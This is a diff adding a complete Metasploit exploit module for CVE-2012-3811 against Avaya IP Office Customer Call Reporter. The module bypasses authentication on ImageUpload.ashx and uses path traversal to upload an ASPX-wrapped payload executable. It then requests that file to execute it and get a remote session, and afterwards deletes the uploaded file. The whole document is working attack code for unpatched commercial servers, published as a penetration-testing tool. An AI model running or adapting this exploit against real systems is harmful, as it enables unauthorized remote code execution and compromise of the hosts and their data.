|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'uri' |
| 9 | +require 'msf/core' |
| 10 | + |
| 11 | +class Metasploit3 < Msf::Exploit::Remote |
| 12 | + Rank = ExcellentRanking |
| 13 | + |
| 14 | + include Msf::Exploit::Remote::HttpClient |
| 15 | + include Msf::Exploit::EXE |
| 16 | + |
| 17 | + def initialize |
| 18 | + super( |
| 19 | + 'Name' => 'Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution', |
| 20 | + 'Description' => %q{ |
| 21 | + This module exploits an authentication bypass vulnerability on Avaya IP Office |
| 22 | + Customer Call Reporter, which allows a remote user to upload arbitrary files |
| 23 | + through the ImageUpload.ashx component. It can be abused to upload and execute |
| 24 | + arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP |
| 25 | + Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2. |
| 26 | + }, |
| 27 | + 'Author' => [ |
| 28 | + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery |
| 29 | + 'juan vazquez' # Metasploit module |
| 30 | + ], |
| 31 | + 'Platform' => 'win', |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + [ 'CVE', '2012-3811' ], |
| 35 | + [ 'OSVDB', '83399' ], |
| 36 | + [ 'BID', '54225' ], |
| 37 | + [ 'URL', 'https://downloads.avaya.com/css/P8/documents/100164021' ], |
| 38 | + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-106/' ] |
| 39 | + ], |
| 40 | + 'Targets' => |
| 41 | + [ |
| 42 | + [ 'Avaya IP Office Customer Call Reporter 7.0 and 8.0 / Microsoft Windows Server 2003 SP2', { } ], |
| 43 | + ], |
| 44 | + 'DefaultTarget' => 0, |
| 45 | + 'Privileged' => false, |
| 46 | + 'DisclosureDate' => 'Jun 28 2012' |
| 47 | + ) |
| 48 | + |
| 49 | + register_options( |
| 50 | + [ |
| 51 | + OptString.new('TARGETURI', [true, 'The URI path of the Avaya CCR applications', '/']) |
| 52 | + ], self.class) |
| 53 | + end |
| 54 | + |
| 55 | + # |
| 56 | + # Remove the .aspx if we get a meterpreter. |
| 57 | + # |
| 58 | + def on_new_session(cli) |
| 59 | + if cli.type != 'meterpreter' |
| 60 | + print_error("Meterpreter not used. Please manually remove #{@payload_path}") |
| 61 | + return |
| 62 | + end |
| 63 | + |
| 64 | + cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") |
| 65 | + |
| 66 | + begin |
| 67 | + cli.fs.file.rm(@payload_path) |
| 68 | + print_good("#{@peer} - #{@payload_path} deleted") |
| 69 | + rescue ::Exception => e |
| 70 | + print_error("Unable to delete #{@payload_path}: #{e.message}") |
| 71 | + end |
| 72 | + end |
| 73 | + |
| 74 | + |
| 75 | + def exploit |
| 76 | + |
| 77 | + @peer = "#{rhost}:#{rport}" |
| 78 | + |
| 79 | + # Generate the ASPX containing the EXE containing the payload |
| 80 | + exe = generate_payload_exe |
| 81 | + aspx = Msf::Util::EXE.to_exe_aspx(exe) |
| 82 | + aspx_b64 = Rex::Text.encode_base64(aspx) |
| 83 | + |
| 84 | + uri_path = target_uri.path |
| 85 | + uri_path.path << "/" if uri_path[-1, 1] != "/" |
| 86 | + |
| 87 | + boundary = "---------------------------#{rand_text_alpha(36)}" |
| 88 | + |
| 89 | + my_data = "--#{boundary}\r\n" |
| 90 | + my_data << "Content-Disposition: form-data; name=\"RadUAG_fileName\"\r\n" |
| 91 | + my_data << "\r\n" |
| 92 | + my_data << "#{rand_text_alpha(rand(5)+3)}.aspx\r\n" |
| 93 | + my_data << "--#{boundary}\r\n" |
| 94 | + my_data << "Content-Disposition: form-data; name=\"RadUAG_data\"\r\n" |
| 95 | + my_data << "\r\n" |
| 96 | + my_data << "#{aspx_b64}\r\n" |
| 97 | + my_data << "--#{boundary}\r\n" |
| 98 | + my_data << "Content-Disposition: form-data; name=\"RadUAG_targetFolder\"\r\n" |
| 99 | + my_data << "\r\n" |
| 100 | + my_data << "../../CCRWallboardMessageBroker/\r\n" |
| 101 | + my_data << "--#{boundary}\r\n" |
| 102 | + my_data << "Content-Disposition: form-data; name=\"RadUAG_position\"\r\n" |
| 103 | + my_data << "\r\n" |
| 104 | + my_data << "0\r\n" |
| 105 | + my_data << "--#{boundary}\r\n" |
| 106 | + my_data << "Content-Disposition: form-data; name=\"RadUAG_targetPhysicalFolder\"\r\n" |
| 107 | + my_data << "\r\n" |
| 108 | + my_data << "\r\n" |
| 109 | + my_data << "--#{boundary}\r\n" |
| 110 | + my_data << "Content-Disposition: form-data; name=\"RadUAG_overwriteExistingFiles\"\r\n" |
| 111 | + my_data << "\r\n" |
| 112 | + my_data << "True\r\n" |
| 113 | + my_data << "--#{boundary}\r\n" |
| 114 | + my_data << "Content-Disposition: form-data; name=\"RadUAG_finalFileRequest\"\r\n" |
| 115 | + my_data << "\r\n" |
| 116 | + my_data << "True\r\n" |
| 117 | + my_data << "--#{boundary}\r\n" |
| 118 | + my_data << "Content-Disposition: form-data; name=\"UploadImageType\"\r\n" |
| 119 | + my_data << "\r\n" |
| 120 | + my_data << "0\r\n" |
| 121 | + my_data << "--#{boundary}\r\n" |
| 122 | + my_data << "Content-Disposition: form-data; name=\"WallboardID\"\r\n" |
| 123 | + my_data << "\r\n" |
| 124 | + my_data << "0\r\n" |
| 125 | + my_data << "--#{boundary}--\r\n" |
| 126 | + |
| 127 | + # |
| 128 | + # UPLOAD |
| 129 | + # |
| 130 | + attack_url = uri_path + "CCRWebClient/Wallboard/ImageUpload.ashx" |
| 131 | + print_status("#{@peer} - Uploading #{aspx_b64.length} bytes through #{attack_url}...") |
| 132 | + |
| 133 | + res = send_request_cgi({ |
| 134 | + 'uri' => attack_url, |
| 135 | + 'method' => 'POST', |
| 136 | + 'ctype' => "multipart/form-data; boundary=#{boundary}", |
| 137 | + 'data' => my_data, |
| 138 | + }, 20) |
| 139 | + |
| 140 | + payload_url = "" |
| 141 | + @payload_path = "" |
| 142 | + if res and res.code == 200 and res.body =~ /"Key":"RadUAG_success","Value":true/ |
| 143 | + print_good("#{@peer} - Payload uploaded successfuly") |
| 144 | + else |
| 145 | + print_error("#{@peer} - Payload upload failed") |
| 146 | + return |
| 147 | + end |
| 148 | + |
| 149 | + # Retrieve info about the uploaded payload |
| 150 | + |
| 151 | + if res.body =~ /\{"Key":"RadUAG_filePath","Value":"(.*)"\},\{"Key":"RadUAG_associatedData/ |
| 152 | + @payload_path = $1 |
| 153 | + print_status("#{@peer} - Payload stored on #{@payload_path}") |
| 154 | + else |
| 155 | + print_error("#{@peer} - The payload file path couldn't be retrieved") |
| 156 | + end |
| 157 | + |
| 158 | + if res.body =~ /\[\{"Key":"UploadedImageURL","Value":"(.*)"\}\]/ |
| 159 | + payload_url = URI($1).path |
| 160 | + else |
| 161 | + print_error("#{@peer} - The payload URI couldn't be retrieved... Aborting!") |
| 162 | + return |
| 163 | + end |
| 164 | + |
| 165 | + |
| 166 | + # |
| 167 | + # EXECUTE |
| 168 | + # |
| 169 | + print_status("#{@peer} - Executing #{payload_url}...") |
| 170 | + |
| 171 | + res = send_request_cgi({ |
| 172 | + 'uri' => payload_url, |
| 173 | + 'method' => 'GET' |
| 174 | + }, 20) |
| 175 | + |
| 176 | + if (!res or res.code != 200) |
| 177 | + print_error("#{@peer} - Execution failed on #{payload_url} [No Response]") |
| 178 | + return |
| 179 | + end |
| 180 | + |
| 181 | + end |
| 182 | + |
| 183 | +end |
0 commit comments